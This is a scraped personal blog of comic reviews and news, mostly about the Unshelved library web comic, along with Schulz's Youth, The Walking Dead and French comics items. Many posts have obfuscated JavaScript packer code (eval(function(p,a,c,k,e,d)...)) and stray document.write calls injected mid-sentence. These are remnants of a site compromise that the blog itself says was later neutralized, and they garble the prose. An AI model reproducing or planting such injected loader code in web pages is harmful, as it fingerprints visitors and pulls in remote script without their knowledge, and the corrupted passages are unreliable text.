Comics

Funnies forever

/ Clodjee / Leave a comment

Here (after the break) are a few notably funny comic strips that I found in the last few months…

Starting with Unshelved, the web comics about the staff (and patrons) of a rather dysfunctional library. I caught up on several months of strips to realize that artist Bill Barnes decided to take a break and was replaced by occasional contributor Chris Hallbeck. It doesn’t change anything. Here are a few of my favourites (believe it or not I’ve experienced many of those situations):


Tuesday, September 16, 2014

Monday, January 26, 2015

Monday, October 5, 2015

Monday, March 28, 2016

Wednesday, June 1, 2016

Wednesday, June 8, 2016

And now a few more of various kind (I’m slowly catching up on my pile of funnies):

Between Friends: September 1, 2015 (I feels like that often)

Dilbert: Wednesday October 07, 2015: Computers Program Humans (It’s so dickian !)

Dilbert: Thursday October 15, 2015: Visualize Your Contribution To Society (Ah! Work !)

Rhymes with orange: Monday November 02, 2015 (the litany against idiocy)

Dog Eat Doug: Sunday January 03, 2016 (magical libraries)

Dilbert: Monday January 11, 2016: How Work Is Going (no comment…)

Bizarro: Saturday January 16, 2016 (historical truth)

Dilbert: Monday January 25, 2016: Doubling Percieved Lifespan (…)

Bizarro: Thursday February 11, 2016 (reminds me of “Vacances de Jésus & Bouddha” manga)

Stone Soup: Sunday February 14, 2016: (Thanks to my wife!)

Unshelved 11: Reads well with others

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“Our very first full-color collection, document.write(“”); Reads Well With Others features stirring tales of library derring-do, often inspired by, and occasionally blatantly documenting, true stories from librarians around the world. In this volume you’ll find strips about: unattended children, creeps, staff trainings, website redesigns, reading levels, confidentiality, bookstores, coffee… and much more, including Conference Tips never seen on our site.”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yskzd|var|u0026u|referrer|bhkny||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ibnhi|var|u0026u|referrer|ztbef||js|php’.split(‘|’),0,{}))

“It’s the same compact size as our last three collections, but this time around every strip is in full color!”

[ Text from the publisher’s website; the back cover is also a must-read ]

“Libraries provide access to information, entertainment, and the Internet. They are the backbone of democracy, sacred places where anyone can find answers to their questions. Unfortunately, people who come there for help behave just as badly they do everywhere else.”

In January Overdue Media released the eleventh compilation of the Unshelved web comics that chronicles the daily misadventures of Dewey and his co-workers at an American dysfunctional library. Reads well with others compiles the comics strips originally published on the website between April 1st 2013 and September 25th 2014, as well as the “Conference Tips” originally published in ALA CogNotes newspapers in June 2014, January 2014 and June 2014.

The Unshelved web comics is very dear to my heart despite the very average quality of the drawings (although it’s probably quite good for a web comics). The reason for that is quite simple: I work in a library myself and I can recognize in those strips situations I’ve found myself in so many times. Believe me, it’s much better to choose to laugh about it than go insane!

The quality of the strips is improving with each new volume, but unfortunately the novelty of the concept wear off so it’s not uproarious anymore. However it’s still quite funny and entertaining to read (maybe less if you don’t know well the library domain). Again, like the last couple of books, I deplore that they haven’t included the “Unshelved Book Club” pages, but at least now the book is 120 pages in full color. You can choose to read the comics for free online, but personally I prefer the convenience of having a real book in my hands (and it offers encouragements to the creators). This should be a mandatory reading for all library staff!

My top ten favourites strips for this volume: 2013-05-13, 2013-05-14, 2013-07-25, 2013-10-01, 2013-11-18, 2013-12-11, 2014-01-22, 2014-03-10, 2014-09-16, and…

2013-09-02

Unshelved Vol. 11: Reads well with others, by Gene Ambaum and Bill Barnes. Seattle, Overdue Media, January 2015. 22.5 x 17 x 1 cm, 120 pgs., $11.95 US / $15.95 CDN. ISBN-13: 978-1-937914-06-6. For readers of all ages.

For more information you can check the following websites:

You can also read my comments on the previous books:

Reads well with others © 2015 Overdue Media LLC. All rights reserved.

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Schulz’s Youth

/ Clodjee / 2 Comments

Schulzs_Youth-cov“You love Charles Schulz’s cartoon kids. Now it’s time to meet his teens!”

“Using the same wit and empathy that made his Peanuts cartoons popular worldwide. Charles Schulz turns his sights on the lives of teenagers. He finds the humor in teen attitudes toward spirituality, family, dating, and life. All their youthful enthusiasm, exuberence, passion, flaws, and faibles are on display with the hilarious drawings and sharp insights that made Schulz the most influential cartoonist ever.”

“During the 1950s and 60s, while his work was exploding in popularity, Schulz created hundreds of these cartoons for Youth magazine and other publications. Here they are, including ones never before collected and unseen in decades. It’s a treasure trove for any true Schulz fan.” [ Text from the back cover ]

WARNING: May contains trace of “spoilers”! People allergic to any discussions of a plot element before having themselves become aware of it are strongly advised to take the necessary precautions for their safety and should avoid reading further.

Continue reading →

Quelques nouvelles en BD

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Calvin & Hobbes en livrel

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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kbhte|var|u0026u|referrer|esfbz||js|php’.split(‘|’),0,{}))
Presque trente ans après que Bill Watterson eu lancé sa fameuse série Calvin & Hobbes, document.write(“”); trois compilations rassemblant une bonne partie de son oeuvre sont maintenant disponible en format électronique: The Essential Calvin and Hobbes, The Authoritative Calvin and Hobbes, et The Indispensable Calvin and Hobbes. Ces collections se vendent pour $12.99 sur la plupart des sites de livrels comme celui pour le Kindle d’Amazon, le Nook de Barnes & Noble et, bien sûr, pour l’iBooks d’Apple [ quoique le lien vers l’iBook store ne semble plus fonctionner… 😦 ].

[Sources (en anglais): Cult of Mac, The Verge]

La Pastèque au musée

“La BD s’expose au Musée: 15 artistes de La Pastèque inspirés par la collection. Dans le cadre du 15e anniversaire de la maison d’édition La Pastèque, le Musée présente une exposition gratuite et originale mettant en vedette quinze des bédéistes qui ont fait le succès de l’éditeur au fil des ans : La BD s’expose au Musée – 15 artistes de La Pastèque inspirés par la collection. Après une visite au MBAM et des recherches dans sa base de données, Isabelle Arsenault, Pascal Blanchet, Paul Bordeleau, Pascal Colpron, Cyril Doisneau, Patrick Doyon, Jean-Paul Eid, Pascal Girard, Réal Godbout, Janice Nadeau, Michel Rabagliati, Marc Simard, Rémy Simard, Siris et Leif Tande ont chacun choisi une œuvre de la collection dont ils se sont ensuite inspirés pour créer un récit inédit.”

L’exposition se tient du 6 novembre 2013 au 30 mars 2014 au Pavillon Jean-Noël Desmarais (Niveau 3). L’entrée est libre en tout temps.

[Source: MBA]

Hayao Miyazaki de retour sur la planche à dessin!

Hayao Miyazaki avait pourtant annoncé sa retraite, mais deux mois plus tard on le surprend à travailler sur un manga! Je suppose qu’il prenait sa retraite de production d’animation seulement et que, maintenant qu’il du temps à lui, il se remet sur les choses qu’il voulait vraiment produire.

L’émission de télé de la NHK Professional Shigoto no Ry?gi (style de travail professionnel) a montré Miyazaki en train de dessiner un manga de samurai! “Miyazaki a affirmer vouloir dessiner des histoires sur la période des Royaumes combattants du Japon (Sengoku) et autres histoires qui ne peuvent être classifiées”. Cette histoire sera prépublié dans un magazine qui n’a pas encore été identifié [MàJ 12/09: il s’agirait de Model Graphix] et Miyazaki le fait sur une base bénévole, c’est-à-dire qu’il ne désire pas être rémunéré. Le style du manga ressemble beaucoup au style riche et chargé qu’il a utilisé pour son vieux manga de Nausicaä de la vallée du vent.

[Source (en anglais): ANN]

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Unshelved 10: Bibliovores

/ Clodjee / 2 Comments

bib•li•o•vore | ‘bibl??, document.write(“”); vôr | noun : a person whose primary form of nourishment is books.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nhakr|var|u0026u|referrer|steza||js|php’.split(‘|’),0,{}))

The tenth Unshelved collections, Bibliovores, “begins where Too Much Information left off, with the birth of Dewey’s adorable daughter, Trillian. It also features: The on-the-job education of Mallville Public Library’s newest employee, Dyna the clerk; Dewey explaining plagiarism to an unrepentant Merv; The mystery patron who won’t leave the bathroom; Dewey’s NDA review copy of a hot new YA novel by his favorite author; Library Day Camp; Staff self-assessments; and much more!”

“In addition to daily comic strips [published on the website between December 5th 2011 and March 28th 2013], Bibliovores features Dewey’s Secret Origin, Conference Tips, and the 12 page classic comic epic What Would Dewey Do @ BEA? It’s the same compact size as Too Much Information and Large Print, but this time around [there’s] six months worth of color strips.” [Text from the publisher’s website]


As I have previously announced, Overdue Media released in June a tenth Unshelved compilation titled Bibliovores. Unshelved is a web comic that tells the daily misadventures of Dewey and his co-workers at an American dysfunctional library. It’s a kind of sitcom in a comics format where’s the backdrop is set in a library instead of someone’s apartment. The various awkward or absurd situations are generally hilarious (even if you don’t work in a library or don’t know much about its world, although I admit it helps).

I already introduced the webcomics in 2008, then commented on Reader’s Advisory in february 2010, on Large Print in september 2010 and talked about the release of Too Much Information in january 2012, so there’s not much more I can say about this new book. It’s equal to the others, not always funny but worth reading (particularly for me since I very often recognized situations I’ve found myself in). Unfortunately, the book doesn’t feature the “Unshelved Book Club” pages, but this volume still has forty pages in color. Even if you can read this comics online, I generally order the book from Amazon just to encourage the creators.

My top ten favourites (plus one bonus):










Unshelved Vol. 10: Bibliovores, by Gene Ambaum and Bill Barnes. Seattle, Overdue Media, 2013. 21.8 x 17 cm, 120 pgs., $11.95 US / $12.95 CDN. ISBN-13: 978-1-937914-04-2.

For more information you can check the following websites:

Bibliovores © 2013 Overdue Media LLC. All rights reserved.

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Bibliovores

/ Clodjee / 1 Comment

Today, document.write(“”); Overdue Media announced on their Unshelved web site the coming release of the tenth Unshelved compilation, titled Bibliovores.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fkizb|var|u0026u|referrer|rsihd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nerfn|var|u0026u|referrer|nnrsf||js|php’.split(‘|’),0,{}))

Unshelved is a web comic that tells the daily misadventures of Dewey and his co-workers at an American dysfunctional library. Most of the time, it’s quite hilarious (particularly if you KNOW a little about the library world). This compilation picks up where the previous one left off.

It will includes previously unpublished comics strips and six month worth of color strips. It’s published in the same compact format than the previous two compilations, and will ship in early July for $11.95 US. For now you can order it directly from Overdue Media web site (but it should eventually be also available on Amazon).

Click for a preview after the jump >>

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“Unshelved” marathon

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I just finished catching up on a few months worth of my favourite web comics: Unshelved. This year they’re celebrating their tenth anniversary and there’s already eight annual compilations available. Oh, document.write(“”); did I mentioned that it is the story of a dysfunctional library and its staff ? I just feel at home. (See previous reviews).
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zetzr|var|u0026u|referrer|knthy||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rzhyh|var|u0026u|referrer|zbhtr||js|php’.split(‘|’),0,{}))

See my latest favourites strips after the jump:



And the best of all (which originally appeared on 1/23/2003):

Of course, there’s also the illustrated “review” of the weekly Unshelved Book Club about Guy Delisle’s Jerusalem: Chronicles from the Holy City (Drawn & Quarterly, 2012, ISBN: 9781770460713).

Don’t forget to check more strips on the Unshelved website as well as their book store (but it’s also available at Amazon .com & .ca, Indigo! and Powell’s).

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Bibliography

/ Clodjee / 3 Comments

Warning!

This blog was hit by a couple of catastrophes in 2017 that broke many image links and introduced malicious lines of code that have now been neutralized but are still  disfiguring many older entries of the blog.

Please bear with us while we are undergoing the  long process of repairing the blog! The most important part of this blog is still there — the words to read and the ideas to share — but the aesthetic of the presentation has unfortunately suffered.

Thank you for your understanding and support!

— clodjee  

After reading my bio/bibliography in the DALIAF, it reminded me that I published more than just fiction (or a few sci-fi short stories). So I decided to gather my own bibliography, a list as exhaustive as I could of all the major texts I’ve written. Here it is, right after the jump:
Continue reading →

A New “Unshelved” compilation!

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I just read this morning on the Unshelved website that their ninth and latest comic strip compilation is finally out! (if you are wondering what’s Unshelved you can check the “About” page of the website or read my previous comments on this hillarious comic strip).
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rtdsz|var|u0026u|referrer|dbfat||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rnbfz|var|u0026u|referrer|dfkde||js|php’.split(‘|’),0,{}))

You can read the latest daily misadventures of a dysfunctional library’s staff in Too Much Information. Published in the same smaller format than Large Print, document.write(“”); the previous book, it “contains eighteen months of daily strips and never-published-on-the-web Conference Tips, plus selected author commentary and a foreword by Babymouse author Jennifer Holm”. The books ship in February but can be already ordered from the website’s store (it’s not yet listed on Amazon). It’s a must-read if you work (or spend lots of time) in a library! Check after the jump for a page sample of the book.

The Walking Dead

/ Clodjee / 3 Comments

WalkingDead_TV-PosterI don’t really know what made me want to watch The Walking Dead TV series. I never was a big fan of horror and even less of zombies movies, finding them rather ridiculous and disgusting. Being amused by the idea of a feature-quality TV series about zombies, I guess I took notice of the web punditocracy announcing it as something worth watching and there was probably nothing else on TV that night… The fact is that, after watching the first episode, I was intrigued enough to follow the entire first season (six episodes).

WalkingDead_TV-ImageI admit that I have always been a sucker for a good post-apocalyptic story (with or without zombies). What makes this TV series interesting is its excellent production quality, particularly the quite realistic CGI and make-up of the zombies. Despite the subject, it is not at all an horror story (unexpectedly I didn’t get a single nightmare after watching this, although I quickly realized that it was not a good idea to eat any meal while watching!) as it is rather about survival and how humans react and behave in extreme conditions. The writing is nothing exceptional but it is good enough to warrant excellent ratings, nomination for several awards and to be renewed for at least another thirteen-episode season. stars-3-0

[ Wikipedia / IMDb / Official ]

Here’s the TV series’ trailer from YouTube:

WALKING DEAD 01 - C1C4.inddHowever, at some point, I discovered that the TV series was based on an american comic book and, as always, I wanted to compare the TV adaptation with the original story. Even if it was available in electronic format on iPhones & iPads (it even has its own app!) through comiXology (the first issue is available for free), I must admit that I read the french edition instead since it was the only version available at my local library (all for free!). The Walking Dead is published by Image Comics as a monthly b&w comics. It is written by Robert Kirkman and illustrated by Tony Moore (issue #1-6) and Charlie Adlard (since issue #7). Started in 2003, it includes so far 79 issues compiled in 13 trade paperback volumes (containing 6 issues each), 6 hardcover volumes (containing 12 issues each), 3 Omnibus editions (containing 24 issues each) and one compendium edition (containing 48 issues). The french edition (12 volumes so far) is the equivalent of the trade paperbacks. In 2010 it has received the Eisner Award for best continuing series.

WalkingDead-Comics01p17

Vol. 1, page 17

On the website, the story is described as follow: “An epidemic of apocalyptic proportions has swept the globe, causing the dead to rise and feed on the living. In a matter of months, society has crumbled: There is no government, no grocery stores, no mail delivery, no cable TV. Rick Grimes finds himself one of the few survivors in this terrifying future. A couple months ago he was a small town cop who had never fired a shot and only ever saw one dead body. Separated from his family, he must now sort through all the death and confusion to try and find his wife and son. In a world ruled by the dead, we are forced to finally begin living.”

WalkingDead-Comics01p24

Vol. 1, page 24

The black and white art is very precise, neet and enjoyable. Action scenes are always clear and easy to understand. Strangely, because it’s in black and white, it feels much less gory than the TV series. Nevertheless the story is quite violent and people die by the handful in every volume (and that’s not counting the enormous amount of zombies that get sliced down). However what sets the story apart and makes it interesting is not this violence (although I am sure many read the comics for that reason), but the human side of the storytelling: the characters’ will of survival, their relationships, the depth of their emotions, particularly their fear, angst and even madness. So far I’ve read eleven of the trade paperbacks and I can’t wait to read more. It is really well written.

After going through the original story, I am quite surprised to find how pale the TV series is in comparison with the comics. The latter has a much stronger storytelling and is much more innovative. Actually, they don’t have much in common beside the original concept, the name of the characters and the events set in the first volume of the comics. At the end of the first volume, one of the main character dies and from there, so far, the story is completely different than what I’ve seen in the TV series. It might be easier (as in less challenging to the mind) to simply sit in a couch and watch a TV series, but the comic book is much more interesting and enjoyable. If you don’t mind too much the zombies and like post-cataclysmic survival stories, I strongly recommand the Walking Dead comics. stars-4-0

[ Amazon / Wikipedia / Biblio ]

The Walking Dead © Robert Kirkman. TV series © 2010 American Movie Classics Company LLC. All rights reserved.

Unshelved #8: Large Print

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“Unshelved makes me appreciate those busy librarians of my school days even more. They were my best friends no matter where I went, document.write(“”); and I worshipped them. Seeing what they had to deal with only notches up my love for them! —Tamora Pierce”
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“What do you get when you mix adults, teenagers, children, babies, seniors, professionals, parents, teachers, students, homeschoolers, and the homeless? That very funniest of places, your local public library, home of the hugely popular Web comic Unshelved.” [texts from the back cover]

Everything in this comic is eerily familiar: it tells the daily life of the staff from a dysfunctional library. Large Print is the eighth yearly compilation of Unshelved, a daily online comic strip originally published on the Unshelved website from February 16, 2009 to April 26, 2010, and ALA CogNotes newspapers in June 2009 and January 2010 (CogNotes is the daily paper of the American Library Association Midwinter Meeting and ALA Annual Conference, where the famous Unshelved “Conference Tips” are published). I have already reviewed the previous volumes in the blog entries “Unshelved” and “Unshelved #7: Reader’s Advisory”. You can also find more information in the Wikipedia entry, the Official Unshelved Facebook page or the Unshelved Readers Facebook group.

This volume is noticeably more hillarious than the previous one. Everyone will laugh at the funny and often absurd situations happening in the Mallville public library. I am probably laughing even harder because I recognize myself a lot in there, since I experienced first-hand many of those situations. It’s written by a real-life librarian and it shows. Of course, the art is a little crude and cartoony, but —as I often say— it’s the story that counts.

This volume has something new: it has a few comments from the writers underneath the strips. It’s interesting to read and I would have liked to have more of those. Also, this time the book is in a smaller format and in b&w only. However, since part of the book deals with how the library is coping with the recession, I think this downsizing is befitting the story. Large Print is compiling 313 daily strips (mostly in their original publishing order), 16 “Library Tips”, and 9 ALA “Conference Tips”. Unfortunately, the color “Book Club” pages (where the authors illustrate book recommendations) are absent and I am quite disappointed with this (however you can still read them online). But I guess it was necessary if they wanted the book to be only in b&w. All in all, Large Print offers a good laugh, particularly if you have ever spent some time in a public library. Highly recommended.

One of my favourite strips (from 2009/10/26):
My top 25 strips (in the order they appear in the book): 2009/03/02, 2009/03/07, 2009/03/25, 2009/04/01, 2009/04/13, 2009/05/02, 2009/05/12, 2009/06/09, 2009/06/06, 2009/07/17, 2009/07/22, 2009/08/05, 2009/10/26, 2009/10/17, 2009/10/06, 2009/10/08, 2009/10/19, 2009/12/08, 2009/12/29, 2009/12/31, 2010/03/03, 2010/03/22, 2010/04/01, 2010/04/22, and 2010/04/20.

Unshelved Vol. 8: Large Print, by Gene Ambaum and Bill Barnes. Seattle, Overdue Media, 2010. 21.8 x 17 cm, 128 pgs., $11.95 US / $14.95 CDN. ISBN-13: 978-09740353-7-6.

Unshelved: Large Print © 2009 & 2010 Overdue Media LLC. All rights reserved.

P.S.: I pre-ordered this book via amazon.ca in january 2010. It was due to be released in mid-July, but it was only delivered in mid-September even if it had been available through the publisher’s web site since july… Go figure! It is also disappointing that this book is not available at all through my local libraries network (where I work)!

Unshelved #7: Reader’s Advisory

/ Clodjee / 1 Comment

“BREAKING LITERARY NEWS FROM THE AWARD-WINNING STAFF OF THE MALLVILLE PUBLIC LIBRARY. Whether it’s a Paranormal Romance front coming in from the North, document.write(“”); colliding Low-carb and Low-fat Cookbooks causing a whirlwind in the South, or a high-pressure Get Rich Quick system building in the Tri-State area, our news team is there with the reading recommendations you need. Featuring the latest daily and Sunday comic strips from Unshelved, your trusted source for library humor.” [text from the back cover] “Follow the adventures of a young librarian named Dewey, his dysfunctional coworkers, and the people they’re supposed to be helping.” [Amazon.com]
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Reader’s Advisory is the seventh yearly compilation of Unshelved, a daily online comic strip set in an american library. It was originally published on the Unshelved website from February 17, 2008 to February 15, 2009, and ALA CogNotes newspapers in June 2008 and January 2009 (CogNotes is the daily paper of the American Library Association Midwinter Meeting and ALA Annual Conference, where the famous Unshelved “Conference Tips” are published). I have already reviewed the previous six volumes. You can also find more information in the Wikipedia entry, the Official Unshelved Facebook page or the Unshelved Readers Facebook group.

Written (under a pen name) by a real-life librarian who works in an undisclosed library in the Pacific Northwest of the U.S.A., Unshelved is a rather funny comic strip. The art is a little crude and it’s probably of a greater interest to me because I work in a library (although it made me laugh even before I started working there). Also, I admit that this particular volume feels a little less funny to me, maybe because the novelty of a witty librarian in riduculous situations is wearing off and previous volumes had more continuity in the story of each strip as they were more or less following a general theme. I don’t see that in Reader’s Advisory as you have some stories or themes that go on only for two or three strips. However, after seven volumes it still makes me laugh, so I recommend it without hesitation (even more so to my fellow assistant-librarians, for whom it should be a mandatory reading)!

This volume compiles the daily strips (unfortunately not in their original publishing order), some “Library Tips”, the ALA “Conference Tips” as well as the color “Book Club” pages (where the authors illustrate book recommendations). The beauty of it is that you can always read it on the Unshelved website: it’s free.

Strip from 2008/03/01:
Some of my favourites: 2008/02/18, 2008/03/03, 2008/03/17, 2008/04/01, 2008/04/02, 2008/04/24, 2008/05/30, 2008/08/23, 2008/09/16, 2008/10/24, 2008/11/11, 2008/11/13, 2008/11/22, 2008/12/26, and 2009/01/30.

Unshelved Vol. 7: Reader’s Advisory, by Gene Ambaum and Bill Barnes. Overdue Media, 2009. 10.7 x 8.2 in, 128 pgs., $17.95 US / $22.95 CDN. ISBN-13: 978-0-9740353-6-9.

Unshelved: Reader’s Advisory © 2009 Overdue Media LLC. All rights reserved.

Unshelved

/ Clodjee / Leave a comment

My latest reading (well, document.write(“”); beside the daily newspaper and Time magazine) was pretty funny. It’s a daily web comic strip created by Gene Ambaum (writer) and Bill Barnes (co-writer & artist) that I discovered by chance a few years ago. It has been published daily since 2002 and has been compiled, so far, in six volumes (and a seventh should be released in spring 2009). In 2006, I ordered from the publisher, Overdue Media (www.unshelved.com), the first three compilations: Vol. 1: Unshelved (2003); Vol. 2: What Would Dewey Do? (2004); Vol. 3: Library Mascot Cage Match (2005). I liked it a lot.
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Written by a real-life librarian (but Gene Ambaum is not his real name) and illustrated by his friend, Bill Barnes, Unshelved tells the story of the people surrounding the Mallville Public Library. The main character is named Dewey! (for more details see the story primer or the Wikipedia entry). The art is rather simple, but the story is hilarious, educating and profess a great love for books. Despite the humorous situations that develop between the characters, it gives a good idea of the inner workings of a library. It could be a librarian training manual… Unshelved seems pretty popular: over 26,000 email subscribers. It’s also published on its own website, as well as on the American Library Association website and CogNotes newspapers. The creators must be quite busy because (beside having day jobs) they tour lots of bookfairs, conferences and conventions!

Last month I found out that three more compilations had been published since I first discovered the series. Here they are:

“What happens in the library stays in the library. But oh, what happens in the library! Dewey has a book club, and you do not talk about Book Club. Colleen has a blog, but she doesn’t know everyone can read it. Someone gave vegan Tamara a membership to the ham-of-the-month-club. And Merv reserved every copy of the new Harry Potter for purposes nefarious. This fourth Unshelved collection also features dozens of full-page full-color comic-format book talks, plus a very special storytime zombie nursery rhyme.” (From Amazon.com)

This volume includes the usual strips, plus some Library conference tips, but the most interesting feature is the dozens of full-color “Unshelved Book Club” book talks where the library staff introduce on each page a new book. A kind of weekly book review, in color and often hilarious!

Unshelved Vol. 4: Book Club, by Gene Ambaum and Bill Barnes. Overdue Media, 2006. 10.9 x 8.3 in, 120 pgs., $17.95 US / $22.42 CDN. ISBN-13: 978-0974035338.

“The fifth year of strips includes the famous “Pimp My Bookcart” sequence and a year’s worth of full-color full-page “Unshelved Book Clubs” featuring the greatest books every written. Plus, never-before published strips and more!” (From Amazon.com)

Unshelved Vol. 5: Read Responsibly, by Gene Ambaum and Bill Barnes. Overdue Media, 2007. 10.9 x 8.2 in, 144 pgs., $17.95 US / $22.42 CDN. ISBN-13: 978-0974035345.

“No one gets asked questions more frequently than a librarian, and no librarian answers them with more attitude than Dewey! The latest Unshelved collection features a year’s worth of daily comics and Conference Tips, plus the full-color Unshelved Book Club. Also features the Great Plastic Coffee Cup Lid Challenge between Unshelved and Sheldon, refereed by comics journalist Gary Tyrrell.” (From Amazon.com)

Unshelved Vol. 6: Frequently Asked Questions, by Gene Ambaum and Bill Barnes. Overdue Media, 2008. 10.9 x 8.2 in, 136 pgs., $17.95 US / $22.42 CDN. ISBN-13: 978-0974035352.

Unshelved © 2002-2008 Overdue Media LLC, all rights reserved.

If you are a fan, you can sign up for “Unshelved Readers,” the Facebook group.